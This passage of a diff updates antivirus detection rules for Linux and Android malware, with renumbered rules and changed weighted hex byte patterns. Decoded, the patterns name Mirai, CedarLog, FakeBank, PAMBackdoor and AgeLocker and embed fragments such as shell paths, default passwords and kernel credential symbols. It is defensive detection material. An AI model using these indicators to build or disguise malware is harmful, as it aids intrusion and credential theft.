00 01 00 12 01 } //8448 + $a_34_3 = {e8 a6 f9 06 00 89 3c 24 e8 ce bc 06 00 01 00 23 01 53 83 ec 18 e8 00 00 00 00 5b 81 c3 41 58 07 00 0f 28 44 24 20 0f 11 04 24 e8 a0 f7 06 00 83 c4 18 5b c3 00 00 8c 69 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4e 61 61 62 75 50 6f 72 74 53 63 61 6e 6e 65 72 2e 41 21 64 68 61 00 01 00 31 01 0a 64 65 70 09 67 69 74 68 75 62 2e 63 6f 6d 2f 70 72 6f 6a 65 63 74 64 69 } //-14455 + $a_76_4 = {72 79 2f 6e 61 61 62 75 2f 76 32 09 28 64 65 76 65 6c 29 00 00 8c 69 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 52 61 64 69 63 61 6c 45 61 72 73 2e 53 42 00 01 00 0f 01 73 65 72 76 65 72 20 66 69 6e 69 73 68 65 64 01 00 15 01 50 52 4f 58 59 00 00 00 3c 48 54 4d 4c 00 00 00 3c 48 45 41 44 } //25459 condition: - ((#a_46_0 & 1)*16675+(#a_29_1 & 1)*30793+(#a_41_2 & 1)*8448+(#a_61_3 & 1)*25633+(#a_72_4 & 1)*29441) >=4 + ((#a_46_0 & 1)*16675+(#a_29_1 & 1)*30793+(#a_54_2 & 1)*8448+(#a_34_3 & 1)*-14455+(#a_76_4 & 1)*25459) >=4 } -rule _InfrastructureShared_20707{ +rule _InfrastructureShared_21954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 42 53 21 4d 54 42 00 01 00 22 00 89 f0 31 d2 25 ff ff 00 00 89 d7 89 c6 01 ce 11 df 89 fb 89 f1 0f ac d9 10 c1 eb 10 89 d8 09 c8 75 de 01 00 14 00 8b 55 ec 8b 04 b2 } //16675 - $a_04_1 = {b7 46 39 da 72 f0 39 ce 72 ec 00 00 8c 69 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4e 61 61 62 75 50 6f 72 74 53 63 61 6e 6e 65 72 2e 41 21 64 68 61 00 01 00 31 01 0a 64 65 70 09 67 69 74 68 75 62 2e 63 6f 6d 2f 70 72 6f 6a 65 63 74 64 69 73 63 6f 76 65 72 79 2f 6e 61 61 62 75 2f 76 32 09 28 64 65 76 65 6c 29 00 00 8c 69 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a } //-11727 + $a_04_1 = {b7 46 39 da 72 f0 39 ce 72 ec 00 00 8c 68 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 43 6f 70 65 72 2e 4a 21 4d 54 42 00 01 00 12 01 89 c7 89 34 24 e8 a6 f9 06 00 89 3c 24 e8 ce bc 06 00 01 00 23 01 53 83 ec 18 e8 00 00 00 00 5b 81 c3 41 58 07 00 0f 28 44 24 20 0f 11 04 24 e8 a0 f7 06 00 83 c4 18 5b c3 00 00 8c 69 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 } //-11727 condition: ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-11727) >=2 } -rule _InfrastructureShared_20708{ +rule _InfrastructureShared_21955{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 43 6f 70 65 72 2e 4a 21 4d 54 42 00 01 00 12 01 89 c7 89 34 24 e8 a6 f9 06 00 89 3c 24 e8 ce bc 06 00 01 00 23 01 53 83 ec 18 e8 00 00 00 00 5b 81 c3 41 58 } //21539 + $a_28_1 = {24 20 0f 11 04 24 e8 a0 f7 06 00 83 c4 18 5b } //7 + condition: + ((#a_4c_0 & 1)*21539+(#a_28_1 & 1)*7) >=2 + +} +rule _InfrastructureShared_21956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -272723,19 +288580,29 @@ rule _InfrastructureShared_20708{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_20709{ +rule _InfrastructureShared_21957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 52 61 64 69 63 61 6c 45 61 72 73 2e 53 42 00 01 00 0f 01 73 65 72 76 65 72 20 66 69 6e 69 73 68 65 64 01 00 15 01 50 52 4f 58 59 00 00 00 3c 48 54 4d 4c 00 00 00 3c 48 45 41 44 01 00 } //16675 - $a_3f_1 = {6d 6c 00 00 00 25 50 44 46 2d 00 00 8c 6a 00 00 07 00 07 00 04 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 43 68 61 6f 73 2e 41 21 4d 54 42 00 03 00 0d 00 74 } //269 - $a_6f_2 = {6c 61 6d 70 65 72 74 03 00 0c 00 43 48 41 4f 53 2f 63 6c 69 65 6e 74 01 00 0a 00 73 63 72 65 65 6e 73 68 6f 74 01 00 0e 00 73 79 73 63 61 6c 6c 2e 73 6f 63 6b 65 74 00 00 8c 6b 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 41 67 65 4c 6f 63 6b 65 72 2e 41 4d 21 4d 54 42 00 } //24937 + $a_3f_1 = {6d 6c 00 00 00 25 50 44 46 2d 00 00 8c 6a 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 50 41 4d 42 61 63 6b 64 6f 6f 72 2e 41 21 4d 54 42 00 02 } //269 + $a_48_2 = {55 } //14592 U condition: - ((#a_46_0 & 1)*16675+(#a_3f_1 & 1)*269+(#a_6f_2 & 1)*24937) >=3 + ((#a_46_0 & 1)*16675+(#a_3f_1 & 1)*269+(#a_48_2 & 1)*14592) >=3 } -rule _InfrastructureShared_20710{ +rule _InfrastructureShared_21958{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 50 41 4d 42 61 63 6b 64 6f 6f 72 2e 41 21 4d 54 42 00 02 00 39 01 48 8b 55 e8 48 8b 45 f8 48 01 d0 0f b6 08 48 8b 45 f8 ba 00 00 00 00 48 f7 75 f0 48 8b 45 e0 48 01 d0 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_21959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,07 00 07 00 04 00 21 " @@ -272748,7 +288615,7 @@ rule _InfrastructureShared_20710{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*14+(#a_68_2 & 1)*24936+(#a_01_3 & 1)*1) >=7 } -rule _InfrastructureShared_20711{ +rule _InfrastructureShared_21960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -272759,21 +288626,31 @@ rule _InfrastructureShared_20711{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*26478) >=2 } -rule _InfrastructureShared_20712{ +rule _InfrastructureShared_21961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_4c_0 = {45 52 3a 44 44 6f 53 3a 4c 69 6e 75 78 2f 4c 69 67 68 74 61 69 64 72 61 00 01 00 0b 01 00 4d 79 20 49 50 3a 20 25 73 00 01 00 09 01 00 61 73 73 77 6f 72 64 00 01 00 08 01 00 53 43 41 4e 4e 45 52 01 00 0a 01 } //21539 - $a_4c_1 = {41 54 54 4b 00 01 00 0a 01 00 63 68 61 6e 67 65 6d 65 00 00 00 8c 6c 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 48 21 78 70 00 01 00 13 03 47 45 54 20 2f 62 } //19200 - $a_2f_2 = {02 10 2e 61 72 6d 90 00 01 00 09 00 53 4f 31 39 30 49 6a 31 58 01 00 05 00 4e 49 47 47 59 01 00 13 03 47 45 54 20 2f 62 69 6e 73 2f 90 02 10 2e 70 70 63 90 00 00 00 8c 6c 00 00 08 00 08 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 57 72 6f 62 61 2e 45 00 01 00 09 01 5f 6a 5f 6f 69 5f 64 76 67 01 00 09 01 5f 6a } //28265 - $a_5f_3 = {62 66 02 00 0a 01 4a 61 76 61 5f 6a 5f 6f 69 5f 02 00 09 01 67 65 74 41 73 73 65 74 73 02 00 0a 01 63 6f 6d 2e 4c 6f 61 64 65 72 00 00 06 00 8c 6c 00 00 28 00 28 00 04 00 21 23 48 53 54 52 3a 50 59 45 4e 43 52 59 50 54 00 0a 00 11 01 43 72 79 70 74 6f 2e 43 69 70 68 65 72 2e 41 45 53 0a 00 12 01 43 72 79 70 74 6f } //28511 - $a_73_4 = {2e 53 48 41 32 35 36 0a 00 13 01 43 72 79 70 74 6f 2e 50 72 6f 74 6f 63 6f 6c 2e 4b 44 46 0a 00 0d 01 43 72 79 70 74 6f 2e 52 61 6e 64 6f 6d 00 00 8c 6d 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 68 65 6c 6c 62 69 6e 2e 41 00 01 00 09 80 01 73 68 65 } //18478 + $a_4c_1 = {41 54 54 4b 00 01 00 0a 01 00 63 68 61 6e 67 65 6d 65 00 00 00 8c 6c 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4c 42 21 4d 54 42 00 01 00 18 01 48 89 c8 31 } //19200 + $a_f5_2 = {0f b6 04 14 30 04 19 48 ff c1 48 39 ce 75 e8 01 00 22 01 89 ca 89 f8 41 83 e8 04 c1 e2 0b c1 e8 13 31 ca 31 f8 89 d6 31 c2 c1 ee 08 31 d6 41 89 31 49 83 c1 04 00 00 8c 6c 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 48 21 78 70 00 01 00 13 03 47 45 54 20 2f 62 69 6e 73 2f 90 02 10 2e 61 72 6d 90 00 01 00 09 00 53 4f 31 39 30 49 6a 31 58 01 00 05 00 4e 49 47 47 59 01 00 13 03 47 45 54 20 2f 62 69 6e 73 2f 90 02 10 2e 70 70 63 90 00 00 00 8c 6c 00 00 08 00 08 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 57 72 6f 62 61 2e 45 00 01 00 09 01 5f 6a 5f 6f 69 5f 64 76 67 01 00 09 01 5f 6a 5f 6f 69 5f 62 62 66 02 00 0a 01 4a 61 76 61 5f 6a 5f 6f 69 } //18642 + $a_74_4 = {73 73 65 74 73 02 00 0a 01 63 6f 6d 2e 4c 6f 61 64 65 72 00 00 06 00 8c 6c 00 00 28 00 28 00 04 00 21 23 48 53 54 52 3a 50 59 45 4e 43 52 59 50 54 00 0a 00 11 01 43 72 79 70 74 6f 2e 43 69 70 68 65 72 2e 41 45 53 0a 00 12 01 43 72 79 70 74 6f 2e 48 61 73 68 2e 53 48 41 32 35 36 0a 00 13 01 43 72 79 70 } //26369 condition: - ((#a_4c_0 & 1)*21539+(#a_4c_1 & 1)*19200+(#a_2f_2 & 1)*28265+(#a_5f_3 & 1)*28511+(#a_73_4 & 1)*18478) >=3 + ((#a_4c_0 & 1)*21539+(#a_4c_1 & 1)*19200+(#a_f5_2 & 1)*18642+(#a_74_4 & 1)*26369) >=3 } -rule _InfrastructureShared_20713{ +rule _InfrastructureShared_21962{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 4c 42 21 4d 54 42 00 01 00 18 01 48 89 c8 31 d2 48 f7 f5 41 0f b6 04 14 30 04 19 48 ff c1 48 39 ce 75 e8 01 00 22 01 89 ca 89 f8 41 83 e8 04 c1 } //21539 + $a_e8_1 = {31 ca 31 f8 89 d6 31 c2 c1 ee 08 31 d6 41 89 31 49 83 c1 04 00 00 8c 6c 00 00 02 00 02 00 04 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 48 21 78 70 00 01 00 13 03 47 45 54 20 2f 62 69 6e 73 2f 90 02 10 2e 61 72 6d 90 00 01 00 09 00 53 4f 31 39 30 49 6a 31 58 01 00 05 00 4e 49 47 47 59 01 00 13 03 47 45 54 20 2f 62 69 6e 73 2f 90 02 10 2e 70 70 63 90 00 00 00 8c 6c 00 00 08 00 08 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 57 72 6f 62 61 2e 45 00 01 00 09 01 5f 6a 5f 6f 69 5f 64 76 67 01 00 09 01 5f } //3042 + condition: + ((#a_4c_0 & 1)*21539+(#a_e8_1 & 1)*3042) >=2 + +} +rule _InfrastructureShared_21963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 04 00 21 " @@ -272786,7 +288663,7 @@ rule _InfrastructureShared_20713{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*21573+(#a_61_2 & 1)*28530+(#a_45_3 & 1)*20538) >=2 } -rule _InfrastructureShared_20714{ +rule _InfrastructureShared_21964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,08 00 08 00 05 00 21 " @@ -272800,7 +288677,7 @@ rule _InfrastructureShared_20714{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29556+(#a_2e_2 & 1)*28515+(#a_2e_3 & 1)*29808+(#a_00_4 & 1)*-12033) >=8 } -rule _InfrastructureShared_20715{ +rule _InfrastructureShared_21965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,28 00 28 00 04 00 21 " @@ -272812,7 +288689,7 @@ rule _InfrastructureShared_20715{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28793+(#a_00_3 & 1)*-29696) >=40 } -rule _InfrastructureShared_20716{ +rule _InfrastructureShared_21966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -272823,7 +288700,7 @@ rule _InfrastructureShared_20716{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-31859) >=2 } -rule _InfrastructureShared_20717{ +rule _InfrastructureShared_21967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -272835,7 +288712,7 @@ rule _InfrastructureShared_20717{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*18763+(#a_33_2 & 1)*27763) >=3 } -rule _InfrastructureShared_20718{ +rule _InfrastructureShared_21968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 21 " @@ -272847,7 +288724,7 @@ rule _InfrastructureShared_20718{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27763+(#a_70_2 & 1)*29296) >=2 } -rule _InfrastructureShared_20719{ +rule _InfrastructureShared_21969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 04 00 21 " @@ -272855,88 +288732,109 @@ rule _InfrastructureShared_20719{ $a_70_0 = {6f 69 74 3a 4c 69 6e 75 78 2f 45 6e 6f 6b 65 74 2e 47 56 21 78 70 00 01 00 0c 00 63 6f 6d 6d 69 74 5f 63 72 65 64 73 01 00 0e 00 2f 70 72 6f 63 2f 6b 61 6c 6c 73 79 6d 73 01 00 13 00 70 72 65 70 61 72 65 5f 6b 65 72 6e 65 6c 5f 63 72 65 64 01 00 0b 00 2f 70 72 6f 63 2f 6b 73 79 6d 73 00 00 02 00 8c 6f 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 } //17699 $a_3a_1 = {69 6e 75 78 2f 56 69 6f 6c 65 74 48 61 6c 6f 2e 42 21 64 68 61 00 01 00 19 00 2f 6b 5f 73 6f 75 72 63 65 2f 61 67 65 6e 74 2f 61 67 65 6e 74 2e 68 70 70 01 00 14 00 73 65 74 5f 65 78 74 72 61 5f 63 6f 6e 6e 65 63 74 69 6f 6e 01 00 08 00 64 6f 5f 73 6c 65 65 70 00 00 8c 6f 00 00 0f 00 0f 00 03 00 21 23 41 4c 46 50 45 52 3a } //28527 $a_6c_2 = {69 74 3a 4c 69 6e 75 78 2f 4d 65 74 74 6c 65 47 61 75 7a 65 2e 43 21 64 68 61 00 05 00 10 40 48 8d 5e 20 48 8d 3d bb ff ff ff ba 20 00 00 00 05 00 0d 40 4c 89 ee 44 89 f2 48 8d 3d 9a 27 00 00 05 00 15 40 41 ff d7 41 5f 41 5e 41 5d 41 5c 5b 5d 48 c7 c0 01 00 00 00 5f 00 00 8c 70 00 00 01 00 01 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 } //30789 - $a_6e_3 = {4c 69 6e 75 78 2f 43 65 64 61 72 4c 6f 67 2e 41 21 64 68 61 00 01 00 24 03 6c 6f 67 69 6e 3a 90 02 04 25 73 90 02 04 2f 62 69 6e 2f 73 68 90 02 04 2f 74 6d 70 2f 6c 6f 67 69 6e 90 00 01 00 17 03 2f 74 6d 70 2f 6c 6f 67 69 6e 90 02 0a 50 61 73 73 31 32 33 00 90 00 00 00 8c 70 00 00 03 00 03 } //27247 + $a_6e_3 = {4c 69 6e 75 78 2f 43 65 64 61 72 4c 6f 67 2e 41 21 64 68 61 00 01 00 24 03 6c 6f 67 69 6e 3a 90 02 04 25 73 90 02 04 2f 62 69 6e 2f 73 68 90 02 04 2f 74 6d 70 2f 6c 6f 67 69 6e 90 00 01 00 17 03 2f 74 6d 70 2f 6c 6f 67 69 6e 90 02 0a 50 61 73 73 31 32 33 00 90 00 00 00 8c 70 00 00 02 00 02 } //27247 condition: ((#a_70_0 & 1)*17699+(#a_3a_1 & 1)*28527+(#a_6c_2 & 1)*30789+(#a_6e_3 & 1)*27247) >=2 } -rule _InfrastructureShared_20720{ +rule _InfrastructureShared_21970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 56 69 6f 6c 65 74 48 61 6c 6f 2e 42 21 64 68 61 00 01 00 19 00 2f 6b 5f 73 6f 75 72 63 65 2f 61 67 65 6e 74 2f 61 67 65 6e 74 2e 68 70 70 01 00 14 00 73 65 74 5f 65 78 74 72 61 5f 63 } //16675 $a_65_1 = {74 69 6f 6e 01 00 08 00 64 6f 5f 73 6c 65 65 70 00 00 8c 6f 00 00 0f 00 0f 00 03 00 21 23 41 4c 46 50 45 52 3a 45 78 70 6c 6f 69 74 3a 4c 69 6e 75 78 2f 4d 65 74 74 6c 65 47 61 75 7a 65 2e 43 21 64 68 61 00 05 00 10 40 48 8d 5e 20 48 8d 3d bb ff ff ff ba 20 00 00 00 05 00 0d 40 4c 89 ee 44 89 f2 48 8d 3d 9a 27 00 00 05 00 15 40 } //28271 - $a_41_2 = {41 5e 41 5d 41 5c 5b 5d 48 c7 c0 01 00 00 00 5f 00 00 8c 70 00 00 01 00 01 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 65 64 61 72 4c 6f 67 2e 41 21 64 68 61 00 01 00 24 03 6c 6f 67 69 6e 3a 90 02 04 25 73 90 02 04 2f 62 69 6e 2f 73 68 90 02 04 2f 74 6d 70 2f 6c 6f 67 69 6e 90 00 01 00 17 03 2f 74 6d 70 2f 6c 6f 67 69 6e 90 02 0a 50 61 73 73 31 32 33 00 90 00 00 00 8c 70 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 46 61 6b 65 42 61 6e 6b 2e 41 21 78 70 00 01 00 0f 00 5f 73 74 72 69 6e 67 49 50 4e 4f 42 61 6e 6b 01 00 0d 00 5f 73 74 72 69 6e 67 49 50 42 61 6e 6b 01 00 } //-191 + $a_41_2 = {41 5e 41 5d 41 5c 5b 5d 48 c7 c0 01 00 00 00 5f 00 00 8c 70 00 00 01 00 01 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 65 64 61 72 4c 6f 67 2e 41 21 64 68 61 00 01 00 24 03 6c 6f 67 69 6e 3a 90 02 04 25 73 90 02 04 2f 62 69 6e 2f 73 68 90 02 04 2f 74 6d 70 2f 6c 6f 67 69 6e 90 00 01 00 17 03 2f 74 6d 70 2f 6c 6f 67 69 6e 90 02 0a 50 61 73 73 31 32 33 00 90 00 00 00 8c 70 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 41 67 6e 74 2e 41 42 21 4d 54 42 00 01 00 24 01 ff 7f 02 3c ff ff 42 34 2b 10 a2 00 11 00 40 14 25 90 a0 00 7c 80 99 8f 09 f8 20 03 00 00 00 00 0c 00 03 } //-191 condition: ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28271+(#a_41_2 & 1)*-191) >=3 } -rule _InfrastructureShared_20721{ +rule _InfrastructureShared_21971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,0f 00 0f 00 03 00 21 " strings : $a_46_0 = {45 52 3a 45 78 70 6c 6f 69 74 3a 4c 69 6e 75 78 2f 4d 65 74 74 6c 65 47 61 75 7a 65 2e 43 21 64 68 61 00 05 00 10 40 48 8d 5e 20 48 8d 3d bb ff ff ff ba 20 00 00 00 05 00 0d 40 4c 89 ee 44 89 f2 48 8d 3d 9a 27 00 00 05 00 15 40 } //16675 - $a_41_1 = {41 5e 41 5d 41 5c 5b 5d 48 c7 c0 01 00 00 00 5f 00 00 8c 70 00 00 01 00 01 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 65 64 61 72 4c 6f 67 2e 41 21 64 68 61 00 01 00 24 03 6c 6f 67 69 6e 3a 90 02 04 25 73 90 02 04 2f 62 69 6e 2f 73 68 90 02 04 2f 74 6d 70 2f 6c 6f 67 69 6e 90 00 01 00 17 03 2f 74 6d 70 2f 6c 6f 67 69 6e 90 02 0a 50 61 73 73 31 32 33 00 90 00 00 00 8c 70 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 46 61 6b 65 42 61 6e 6b 2e 41 21 78 70 00 01 00 0f 00 5f 73 74 72 69 6e 67 49 50 4e 4f 42 61 6e 6b 01 00 0d 00 5f 73 74 72 69 6e 67 49 50 42 61 6e 6b 01 00 } //-191 - $a_74_2 = {70 3a 2f 2f 90 02 10 2e 76 69 63 70 2e 63 6f 2f 61 70 70 48 6f 6d 65 2f 90 00 00 00 03 00 8c 71 00 00 14 00 14 00 06 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 4e 61 74 69 76 65 41 50 49 52 61 6e 73 6f 6d 77 61 72 65 46 69 6c 65 49 4f 2e 41 00 04 00 06 80 01 72 65 6e 61 6d 65 04 00 06 80 01 75 6e 6c 69 6e 6b 04 } //541 + $a_41_1 = {41 5e 41 5d 41 5c 5b 5d 48 c7 c0 01 00 00 00 5f 00 00 8c 70 00 00 01 00 01 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 65 64 61 72 4c 6f 67 2e 41 21 64 68 61 00 01 00 24 03 6c 6f 67 69 6e 3a 90 02 04 25 73 90 02 04 2f 62 69 6e 2f 73 68 90 02 04 2f 74 6d 70 2f 6c 6f 67 69 6e 90 00 01 00 17 03 2f 74 6d 70 2f 6c 6f 67 69 6e 90 02 0a 50 61 73 73 31 32 33 00 90 00 00 00 8c 70 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 41 67 6e 74 2e 41 42 21 4d 54 42 00 01 00 24 01 ff 7f 02 3c ff ff 42 34 2b 10 a2 00 11 00 40 14 25 90 a0 00 7c 80 99 8f 09 f8 20 03 00 00 00 00 0c 00 03 } //-191 condition: - ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*-191+(#a_74_2 & 1)*541) >=15 + ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*-191) >=15 } -rule _InfrastructureShared_20722{ +rule _InfrastructureShared_21972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 65 64 61 72 4c 6f 67 2e 41 21 64 68 61 00 01 00 24 03 6c 6f 67 69 6e 3a 90 02 04 25 73 90 02 04 2f 62 69 6e 2f 73 68 90 02 04 2f 74 6d 70 2f 6c 6f 67 69 6e 90 00 01 00 17 03 2f } //16675 - $a_2f_1 = {6f 67 69 6e 90 02 0a 50 61 73 73 31 32 33 00 90 00 00 00 8c 70 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 46 61 6b 65 42 61 6e 6b 2e 41 21 78 70 00 01 00 0f 00 5f 73 74 72 69 6e 67 49 50 4e 4f 42 61 6e 6b 01 00 0d 00 5f 73 74 72 69 6e 67 49 50 42 61 6e 6b 01 00 1d 02 68 74 74 70 3a 2f 2f 90 02 10 } //28020 + $a_2f_1 = {6f 67 69 6e 90 02 0a 50 61 73 73 31 32 33 00 90 00 00 00 8c 70 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 41 67 6e 74 2e 41 42 21 4d 54 42 00 01 00 24 01 ff 7f 02 3c ff ff 42 34 2b 10 a2 00 11 00 40 14 25 90 a0 00 7c 80 99 8f 09 f8 20 03 00 00 00 00 0c 00 03 24 01 00 1c 01 00 00 65 80 05 00 a4 } //28020 condition: ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*28020) >=1 } -rule _InfrastructureShared_20723{ +rule _InfrastructureShared_21973{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 41 67 6e 74 2e 41 42 21 4d 54 42 00 01 00 24 01 ff 7f 02 3c ff ff 42 34 2b 10 a2 00 11 00 40 14 25 90 a0 00 7c 80 99 8f 09 f8 20 03 00 00 00 00 0c 00 03 24 01 00 1c } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_21974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 46 61 6b 65 42 61 6e 6b 2e 41 21 78 70 00 01 00 0f 00 5f 73 74 72 69 6e 67 49 50 4e 4f 42 61 6e 6b 01 00 0d 00 5f 73 74 72 69 6e 67 49 50 42 61 6e 6b 01 00 1d 02 68 74 74 70 3a 2f 2f 90 02 } //16675 - $a_69_1 = {70 2e 63 6f 2f 61 70 70 48 6f 6d 65 2f 90 00 00 00 03 00 8c 71 00 00 14 00 14 00 06 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 4e 61 74 69 76 65 41 50 49 52 61 6e 73 6f 6d 77 61 72 65 46 69 6c 65 49 4f 2e 41 00 04 00 06 80 01 72 65 6e 61 6d 65 04 00 06 80 01 75 6e 6c 69 6e 6b 04 00 05 80 01 66 6f 70 65 6e 04 00 05 80 01 66 72 65 61 64 04 00 06 80 01 66 } //11792 - $a_74_2 = {04 00 06 80 01 66 63 6c 6f 73 65 00 00 8c 72 00 00 03 00 03 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6c 6c 69 73 68 2e 41 21 64 68 61 00 01 00 08 01 6d 73 6b 6d 64 6a 77 6f 01 00 13 01 64 65 6a 66 6f 77 68 66 6a 77 6c 66 65 6b 6a 66 4a 4f 49 01 00 0a 01 64 6a 76 6f 32 6f 65 6a 66 32 } //29303 + $a_69_1 = {70 2e 63 6f 2f 61 70 70 48 6f 6d 65 2f 90 00 00 00 03 00 8c 71 00 00 14 00 14 00 04 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 4d 61 